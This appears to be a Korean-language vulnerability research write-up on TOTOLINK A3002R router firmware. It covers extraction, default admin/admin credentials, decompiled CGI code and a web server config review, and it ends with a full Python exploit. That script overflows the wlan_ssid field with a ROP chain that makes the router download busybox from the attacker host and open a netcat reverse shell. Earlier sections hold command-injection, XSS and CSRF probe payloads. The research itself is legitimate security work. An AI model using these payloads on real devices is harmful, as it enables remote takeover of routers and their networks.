binwalk -e TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web

kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root$ readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x403fc0
Start of program headers: 52 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x70001005, noreorder, cpic, o32, mips32r2
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 0 (bytes)
Number of section headers: 0
Section header string table index: 0
MIPS little endian
/bin: 실행 가능한 바이너리 파일들이 위치/etc: 설정 파일들이 위치/lib: 공유 라이브러리들이 포함됨/usr: 일부 추가적인 실행 파일 및 설정 파일/var: 로그 및 기타 데이터 저장/web: 웹 관리 페이지 관련 파일/dev, /proc, /sys: 가상 파일 시스템 관련kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "password" squashfs-root/
squashfs-root/web/add/top_menu_tools.htm:<li><a href="/password.htm" target="view"><script>dw(menu_pwd)</script></a></li>
squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);
squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);
squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);
...
grep: squashfs-root/lib/libssl.so: binary file matches
grep: squashfs-root/lib/libcrypto.so.1.0.0: binary file matches
squashfs-root/etc/samba/smb.conf:# Use password server option only with security = server
squashfs-root/etc/samba/smb.conf:; password server = <NT-Server-Name>
squashfs-root/etc/samba/smb.conf:# You may wish to use password encryption. Please read
squashfs-root/etc/samba/smb.conf:; encrypt passwords = yes
squashfs-root/etc/wscd.conf:device_password_id = 0
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "admin" squashfs-root/
squashfs-root/web/login.htm:<input type="hidden" id="username" name="username" value="admin">
squashfs-root/web/mobile/login.asp:<input type="hidden" id="username" name="username" value="admin">
squashfs-root/web/mobile/forgot.asp: <h5><script>dw(MB_def_name)</script>:admin</h5>
squashfs-root/web/mobile/forgot.asp: <h5><script>dw(MB_def_pass)</script>:admin</h5>
squashfs-root/web/administration.htm: document.formDiskManagementUser.submit_url.value = "/administration.htm";
squashfs-root/web/administration.htm: document.formDiskManagementGroup.submit_url.value = "/administration.htm";
squashfs-root/web/administration.htm: <input type="hidden" value="/administration.htm" name="submit-url">
grep: squashfs-root/bin/pptp: binary file matches
grep: squashfs-root/bin/iptables: binary file matches
grep: squashfs-root/bin/flash: binary file matches
grep: squashfs-root/bin/ip6tables: binary file matches
grep: squashfs-root/bin/l2tpd: binary file matches
grep: squashfs-root/bin/traceroute: binary file matches
grep: squashfs-root/lib/libntfs-3g.so.85.0.0: binary file matches
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "root" squashfs-root/
squashfs-root/web/add/top_menu_wifilock.htm: var root_onekeyAccessenabled = <%getIndex("root_oneKeyAccessEnabled");%>;
squashfs-root/web/add/top_menu_wifilock.htm: if(root_onekeyAccessenabled)
squashfs-root/web/add/top_menu_wifilock.htm: { f.elements["root_enabled"].selectedIndex = 1;
squashfs-root/web/add/top_menu_wifilock.htm: f.elements["root_enabled"].selectedIndex = 0;
...
root/etc/shadow.sample:root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/:14587:0:99999:7:::
squashfs-root/etc/dnsmasq.conf:# answer, and which load the servers (especially the root servers)
squashfs-root/etc/tmp/picsdesc6.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc6.skl: </root>
squashfs-root/etc/tmp/picsdesc.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc.xml: </root>
squashfs-root/etc/tmp/picsdesc6.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc6.xml: </root>
squashfs-root/etc/tmp/picsdesc.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc.skl: </root>
squashfs-root/etc/passwd:root:x:0:0:root:/:/bin/sh
파일 경로
- squashfs-root/web/login.htm
- squashfs-root/web/mobile/login.asp
- squashfs-root/web/mobile/forgot.asp
발견 값
<input type="hidden" id="username" name="username" value="admin">
<h5><script>dw(MB_def_name)</script>:admin</h5>
<h5><script>dw(MB_def_pass)</script>:admin</h5>
admin)이 하드코딩되어 있으며, 기본 비밀번호도 admin으로 설정되어 있을 가능성root 계정 및 관련 설정파일 경로
- squashfs-root/etc/passwd
- squashfs-root/etc/shadow - squashfs-root/etc/boa.org/boa.conf`
발견 값
root:x:0:0:root:/:/bin/sh
squashfs-root/etc/shadow.sample:root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/
User root
Group root
shadow.sample에 해싱된 상태로 저장boa.conf 설정에서 root 사용자가 웹 서버를 실행하는 것으로 보임root 계정을 확보하면 완전한 시스템 권한을 획득할 위험파일 경로
- squashfs-root/web/password.htm
- squashfs-root/web/tr069config.htm
- squashfs-root/web/gateway_mode.htm
- squashfs-root/web/util_gw.js
발견 값
<form action=/boafrm/formPasswordSetup method=POST name="password">
<input type="password" name="newPass" maxlength="30">
<td><input type="password" name="ddnsPassword" maxlength="30" value="<% getInfo("ddnsPassword"); %>"></td>
<td><input type="password" name="pppPassword" maxlength="128" value="<% getInfo("pppPassword"); %>"></td>
<td><input type="password" name="pptpPassword" maxlength="128" value="<% getInfo("pptpPassword"); %>"></td>
<td><input type="password" name="l2tpPassword" maxlength="128" value="<% getInfo("l2tpPassword"); %>"></td>
<% getInfo("pppPassword"); %>파일 경로
- squashfs-root/etc/samba/smb.conf
- squashfs-root/etc/vsftpd.conf
- squashfs-root/etc/minidlna.conf
발견 값
; encrypt passwords = yes
; password server = <NT-Server-Name>
local_root=/var/tmp/usb
local_root=/var/tmp/usb → USB 저장소와 연결된 인증 정보가 노출될 가능성/squashfs-root/web/cgi-bin/cstecgi.cgi 내부 코드 분석int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // $a1
int v4; // $a2
int v5; // $v0
int v6; // $s1
...
_BYTE v45[4096]; // [sp+1F8h] [-200Ch] BYREF
char v46[4096]; // [sp+11F8h] [-100Ch] BYREF
const char *v47; // [sp+21F8h] [-Ch]
v6 = getenv("stationIp", argv, envp);
v5 = getenv("CONTENT_LENGTH", v3, v4);
v7 = strtol(v5, 0, 10);
puts("\n");
if ( apmib_init() )
{
memset(v46, 0, sizeof(v46));
if ( (unsigned int)v46 >= 0x1000 )
v8 = 4096;
else
v8 = v7 + 1;
fread(v46, 1, v8, stdin);
if ( !v6 )
getenv("REMOTE_ADDR", v9, v10);
v11 = getenv("QUERY_STRING", v9, v10);
v12 = v11;
v13 = v46;
if ( v11 )
{
v14 = strstr(v11, "CSAuthUrl=");
if ( v14 )
{
v13 = v45;
memset(v45, 0, sizeof(v45));
sprintf(v45, "{\"topicurl\":\"setting/refineCSAuth\",\"CSAuthUrl\":\"%s\"}", v14 + 10);
}
else
{
v13 = v45;
if ( strstr(v12, "CSAuth=login") )
{
memset(v45, 0, sizeof(v45));
sprintf(v45, "{\"topicurl\":\"setting/formPostCSAuth\",\"CSAuthUrl\":\"%s\"}", v46);
}
else
{
v13 = v46;
if ( strstr(v12, "action=login") )
{
v17 = strstr(v12, "flag=1");
v47 = (const char *)getenv("http_host", v15, v16);
memset(v45, 0, sizeof(v45));
if ( v17 )
{
sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1\"}", v46, v47);
v13 = v45;
}
else
{
v13 = v45;
sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s\"}", v46, v47);
}
}
}
}
}
v18 = cJSON_Parse(v13);
if ( v18 )
{
if ( *v13 == 91 )
ArrayItem = cJSON_GetArrayItem(v18, 0);
else
ArrayItem = v18;
v20 = *(_DWORD *)(cJSON_GetObjectItem(ArrayItem, "topicurl") + 16);
Object = cJSON_CreateObject();
if ( strstr(v20, "getSysStatusCfg") )
{
apmib_get(201, &v35);
sprintf(v41, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40);
String = cJSON_CreateString(v41);
cJSON_AddItemToObject(Object, "lanMac", String);
apmib_get(170, v41);
v23 = inet_ntoa(v41[0]);
strcpy(v41, v23);
v24 = cJSON_CreateString(v41);
v25 = "lanIp";
}
else
{
if ( !strstr(v20, "getCrpcConfig") )
goto LABEL_31;
strcpy(v41, "ping -c 1 8.8.8.8 > /dev/null");
v26 = system(v41);
v27 = sub_4012F8(v26 == 0);
Number = cJSON_CreateNumber(v27, HIDWORD(v27));
cJSON_AddItemToObject(Object, "status", Number);
v29 = fopen("/tmp/crpc_url", "r");
v30 = v29;
if ( v29 )
{
fgets(v42, 100, v29);
fclose(v30);
}
memset(v44, 0, sizeof(v44));
for ( i = 0; i < strlen(v42); ++i )
{
v32 = (char)v42[i];
if ( v32 == 10 )
break;
v44[i] = v32;
}
apmib_get(201, &v35);
sprintf(v43, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40);
sprintf(v41, "%s%s?mac=%s", "http://www.carystudio.com/router/wechatmanage/routerurl?url=", v44, v43);
v24 = cJSON_CreateString(v41);
v25 = "url";
}
cJSON_AddItemToObject(Object, v25, v24);
LABEL_31:
v33 = (const char *)cJSON_Print(Object);
printf("%s", v33);
cJSON_Delete(Object);
cJSON_Delete(v18);
free(v33);
exit(0);
}
}
return -1;
}
환경 변수 입력 처리 (getenv())
stationIp, CONTENT_LENGTH, REMOTE_ADDR, QUERY_STRING, http_host 등의 환경 변수를 가져와서 사용QUERY_STRING 값을 이용하여 특정 동작 수행 (action=login 등)CGI 요청 파싱 및 JSON 처리 (cJSON_Parse())
cJSON_Parse(v13) → JSON 기반 요청 처리명령어 실행 (system()) 포함 (getCrpcConfig)
ping -c 1 8.8.8.8 > /dev/null 실행system(v41) 호출버퍼 오버플로우 가능성 (fgets(), strcpy(), sprintf())
getenv("stationIp"), getenv("CONTENT_LENGTH") → 공격자가 조작된 환경 변수 값을 주입 가능strtol(v5, 0, 10); → CONTENT_LENGTH 값을 숫자로 변환하는 과정에서 오버플로우 가능성QUERY_STRING 값 (action=login, CSAuth=login 등)에 따라 동작이 달라질 수 있음action=login)"action=login"이라는 문자열로 탐지system(v41) 실행 전에 입력값 필터링이 없는지 확인해야 함sprintf(v45, "...", v46)에서 입력값 v46의 길이 제한 없음curl -X GET "http://192.168.0.1/cgi-bin/cstecgi.cgi?action=login"
curl -X GET "http://192.168.0.1/cgi-bin/cstecgi.cgi?action=getCrpcConfig" -H "User-Agent: ; id"
curl -X GET "http://192.168.0.1/cgi-bin/cstecgi.cgi?CSAuthUrl=$(python3 -c 'print("A"*5000)')"
boa.conf)에서 관리자 접근 제한 확인| 문제점 | 설명 | 영향 |
|---|---|---|
루트 권한으로 실행 (User root, Group root) | 웹서버가 root 권한으로 실행 | 취약점이 악용될 경우, 전체 시스템이 탈취될 가능성 |
CGI 실행 가능 (AddType application/x-httpd-cgi cgi) | .cgi 파일이 실행될 수 있음 | 악성 CGI 업로드 시 코드 실행 가능 (RCE 가능성) |
ScriptAlias를 통해 /cgi-bin/에서 CGI 실행 가능 | /var/web/cgi-bin/ 내의 모든 파일이 실행 가능 | 해당 디렉터리에 취약한 스크립트가 있을 경우 RCE 가능 |
KeepAlive 비활성화 (KeepAliveMax 0) | 지속 연결(KeepAlive)이 비활성화 | 성능 문제보다는 공격자가 여러 요청을 쉽게 보낼 수 있는 환경이 됨 |
MIME 타입 지정 (AddType application/x-httpd-cgi php) | .php 확장자의 실행 가능성이 있음 | 공격자가 PHP 코드 실행을 시도할 가능성 |
User root
Group root
root 권한을 획득할 가능성nobody, www-data 같은 제한된 권한으로 실행하는 것이 보안적으로 안전AddType application/x-httpd-cgi cgi
ScriptAlias /cgi-bin/ /var/web/cgi-bin/
CGIPath /bin:/usr/bin:/var/web/cgi-bin/
/cgi-bin/ 디렉터리 내의 모든 파일을 실행 가능하도록 설정됨.cgi 파일을 업로드할 수 있는 경로를 찾는다면, 임의 코드 실행(RCE)이 가능할 수 있음
/var/web/cgi-bin/내에 어떤 CGI 파일이 있는지 확인
cstecgi.cgi같은 CGI 바이너리들이 이 디렉터리 내에 위치하는지 확인
AddType application/x-httpd-cgi php
.php 파일이 실행될 가능성boa 웹서버는 PHP를 직접 실행하지 않지만, 추가적인 해석기가 있으면 가능할 수도 있음ls -l /var/web/cgi-bin/
ls -l /var/web/
.php파일이 실행 가능한지 확인.
업로드 취약점을 통해 PHP 코드 실행이 가능한지 테스트
DocumentRoot 설정DocumentRoot /var/web
/var/webls -l /var/web/
ls -l /var/web/cgi-bin/
ls -l /var/web/admin/
웹 서버 내에 어떤 파일이 있는지 확인
/var/web/admin/같은 디렉터리가 있다면 관리자 페이지 접근 가능성 존재
DirectoryIndex 설정DirectoryIndex index.html
index.html이 기본 페이지로 설정boa.conf에 DirectoryMaker 설정이 없는 경우 디렉터리 인덱싱이 활성화될 가능성curl -X GET "http://192.168.0.1/cgi-bin/"
디렉터리 목록이 보인다면 → 디렉터리 인덱싱이 활성화됨
공격자가 웹 서버 내부 파일을 직접 탐색 가능하다는 것
boa.conf에서 보안 관련 HTTP 헤더(X-Frame-Options, Content-Security-Policy 등)가 없음curl -I http://192.168.0.1/
보안 헤더 (
X-Frame-Options,Content-Security-Policy)가 없다면, XSS 공격 가능성
login.htm) 소스 분석formLogin을 통한 로그인 요청<form action=/boafrm/formLogin method=POST>
<input type="hidden" value="/login.htm" name="submit-url">
<input type="hidden" id="username" name="username" value="admin">
<input type="password" id="userpass" name="userpass" maxlength="15">
<button type="button" id="cs_login_btn">
action이 /boafrm/formLogin /boafrm/formLogin CGI 엔드포인트로 전달<input type="hidden" id="username" name="username" value="admin"> admin)이 하드코딩됨maxlength="15")postVar['userpass']=$("input[name='userpass']").val();
$('#cs_login_btn').on('click', function(event) {
if($("input[name='username']").val()==''){
$('#myDiv span').html(lgerr5);
$('#myDiv').show();
return false;
}
if($("input[name='userpass']").val()==''){
$('#myDiv span').html(lgerr7);
$('#myDiv').show();
return false;
}
var postVar={"topicurl":"setting/setUserLogin"};
postVar['username']=$("input[name='username']").val();
postVar['userpass']=$("input[name='userpass']").val();
postVar['submit-url']=$("input[name='submit-url']").val();
postVar=JSON.stringify(postVar);
$.ajax({
type : "post",
url : " /boafrm/formLogin",
data : postVar,
async : false,
success : function(Data){
if((Data.length == 0)&&(<% getIndex("auth_enb"); %> == 1)){
parent.location= "home.htm#flag=1";
} else if(Data.length == 0){
parent.location="wizardset.htm";
} else {
window.eval(Data);
$("#myDiv").show();
return false;
}
}
});
});
POST /boafrm/formLogin에 전송home.htm 또는 wizardset.htm로 리디렉션window.eval(Data); 사용window.eval(Data);
eval()을 사용하여 실행curl -X POST "http://192.168.0.1/boafrm/formLogin" -d '{"username":"<script>alert(1)</script>", "userpass":"admin"}'
<form action=/boafrm/formLogin method=POST>
<html>
<body>
<form action="http://192.168.0.1/boafrm/formLogin" method="POST">
<input type="hidden" name="username" value="admin">
<input type="hidden" name="userpass" value="admin">
<input type="submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
| 서비스 | 역할 | 관련 설정 파일 |
|---|---|---|
dnsmasq | DNS 캐시 및 DHCP 서비스 제공 | /etc/dnsmasq.conf |
udhcpd | 간단한 DHCP 서버 | /etc/udhcpd.conf |
pppd | PPPoE (VPN) 인증 및 연결 | /etc/ppp/options, /etc/ppp/chap-secrets, /etc/ppp/pap-secrets |
openvpn | VPN 서비스 | /etc/openvpn/server.conf, /etc/openvpn/client.conf |
l2tpd | L2TP VPN 서비스 | /etc/l2tp/l2tpd.conf |
| 서비스 | 취약점 | 영향 |
|---|---|---|
| dnsmasq | log-queries 활성화 | 내부 DNS 요청 노출 가능 |
| dnsmasq | no-resolv 설정 없음 | 악성 DNS 서버 추가 가능 |
| udhcpd | udhcpd.leases 노출 | 임시 DHCP 할당 정보 노출 가능 |
| pppd | noauth 설정 | 비인증 PPP 연결 허용 가능성 |
| openvpn | AES-128-CBC 사용 | 암호화 강도 부족 (AES-256-GCM 필요) |
| l2tpd | 인증 정보 하드코딩 가능성 | 공격자가 VPN 접근 가능 |
dnsmasq.confdomain-needed → 로컬 이름 요청 차단 (안전)bogus-priv → 사설 IP DNS 요청 차단 (안전)resolv-file=/etc/resolv.conf/etc/resolv.conf에서 가져옴dhcp-range, dhcp-host 없음) log-queries가 비활성화됨 → DNS 쿼리 로깅이 꺼져 있음 (프라이버시 보호)no-resolv 설정이 없음 → 공격자가 /etc/resolv.conf를 조작하면 악성 DNS 사용 가능성no-resolv 옵션이 주석 처리됨#no-resolv
resolv-file=/etc/resolv.conf
dnsmasq가 업스트림 DNS 서버를 /etc/resolv.conf에서 가져오도록 설정됨no-resolv가 주석 처리됨: 공격자가 /etc/resolv.conf를 조작하면 악성 DNS 서버로 트래픽을 리디렉트할 수 있음log-queries 옵션이 주석 처리dnsmasq를 악용하여 DNS 리졸버를 통한 정보 수집을 수행할 가능성이 있음expand-hosts 옵션이 없음expand-hosts 옵션이 없음: 내부 도메인명이 자동으로 확장되지 않음hosts 파일을 수정하여 임의의 내부 네트워크 장치를 탐색할 수 있음udhcpd.confA3002R-V1.1.1-B20200824/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin/boa
/squashfs-root/web/cgi-bin/cstecgi.cgi 분석 등으로 연계 가능kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin$ checksec --file=boa
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 0 boa

int __fastcall sub_440C2C(int a1, int a2, int a3)
{
int v7; // [sp+18h] [-3Ch] BYREF
_BYTE v8[12]; // [sp+1Ch] [-38h] BYREF
_BYTE v9[44]; // [sp+28h] [-2Ch] BYREF
apmib_save_wlanIdx();
sprintf(v8, "wlan%d-vxd", a1);
sub_422694(v8);
apmib_get(1, v9);
if ( strcmp(v9, a3) && strcmp(a3, v9) )
{
v7 = 1;
apmib_set(272, &v7);
strcpy(v9, a3);
apmib_set(1, v9);
apmib_set(278, v9);
apmib_set(a2, v9);
}
sprintf(v8, "wlan%d", a1);
sub_422694(v8);
return apmib_recov_wlanIdx();
}
boa 웹 서버에서 wlan_ssid 값이 백엔드에서 길이 제한 없이 strcpy() 로 복사되면서 취약점이 발생wlan_ssid 값이 길이 검증 없이 strcpy() 에 의해 복사되어 스택 오버플로우 발생 가능strcpy(v9, a3); → 입력값 검증 없이 복사 수행 → BOF
...
v9 = (_BYTE *)sub_43BFA4(a1, "wlan_ssid", a2);
if ( *v9 )
{
if ( vwlan_idx >= 5 )
{
v10 = 253;
if ( !wlan_idx )
v10 = 251;
sub_440C2C(wlan_idx, v10, (int)v9);
}
else
{
apmib_set(1, v9);
}
}
v11 = (_BYTE *)sub_43BFA4(a1, "hiddenSSID", a2);
...
vwlan_idx 값이 5 이상이어야 취약점이 트리거됨을 확인 가능vwlan_idx 값을 5 이상으로 만드려면 CGI 함수 formWlanRedirect를 트리거하면 됨...
v1 = a1 + 567;
if ( strstr(a1 + 567, "formWlanRedirect") )
{
v2 = strstr((char *)a1 + 4317, "redirect-url=");
v3 = v2 + 13;
if ( v2 )
{
v4 = (_BYTE *)strstr(v2 + 13, "&wlan_id=");
if ( v4 )
{
*v4 = 0;
v56 = v4 + 9;
v5 = (_BYTE *)strstr(v4 + 9, "&mssid_idx=");
v6 = v56;
if ( !v5 || (*v5 = 0, v5 == (_BYTE *)-11) )
{
v56 = v6;
v12 = (_BYTE *)strstr(v6, " HTTP");
v8 = v56;
if ( v12 )
{
*v12 = 0;
v10 = a1;
v11 = v3;
v9 = 0;
goto LABEL_10;
}
}
else
{
v56 = v6;
v55 = v5 + 11;
v7 = (_BYTE *)strstr(v5 + 11, " HTTP");
v8 = v56;
v9 = v55;
if ( v7 )
{
*v7 = 0;
v10 = a1;
v11 = v3;
LABEL_10:
sub_43BDFC(v10, v11, v8, v9); //TARGET
return 0;
}
}
}
}
}
...
url = "http://192.168.0.1/add/boafrm/formWlanRedirect"
params = {
"redirect-url": "wlbasic.htm",
"wlan_id": "5"
}
git clone https://github.com/pr0v3rbs/FirmAE
apt-get install gdb-multiarch
pip install requests
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
git clone https://github.com/Swind1er/Download/
sudo apt-get install netcat

echo 0 > /proc/sys/kernel/randomize_va_space
# exp.py
import requests
import logging
from pwn import *
context.log_level = 'INFO'
logging.basicConfig(level=logging.INFO)
def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
requests.post(url, headers=headers, json=data)
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cef000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cef000
system = libc_base + 0x00031930
ra = libc_base + 0x00014F70
s2 = libc_base + 0x00031D04
ra_ = libc_base + 0x00008084
s5 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
payload_factory = b'submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0&80211v_enable_=disable\
&dot11k_=disable&SSID_Setting5=1\
&has_vwlan5=\
&wpaAuth5=psk\
&wpa11w5=none\
&wpa2EnableSHA2565=disable\
&ciphersuite5=aes\
&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0\
&wlan_ssid5='
payload_factory += b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
payload_factory += b'&method5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2\
&key5=**************************&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812\
&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=\
&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeformLogin()
attack()
if __name__ == "__main__":
main()
python ./exp.py
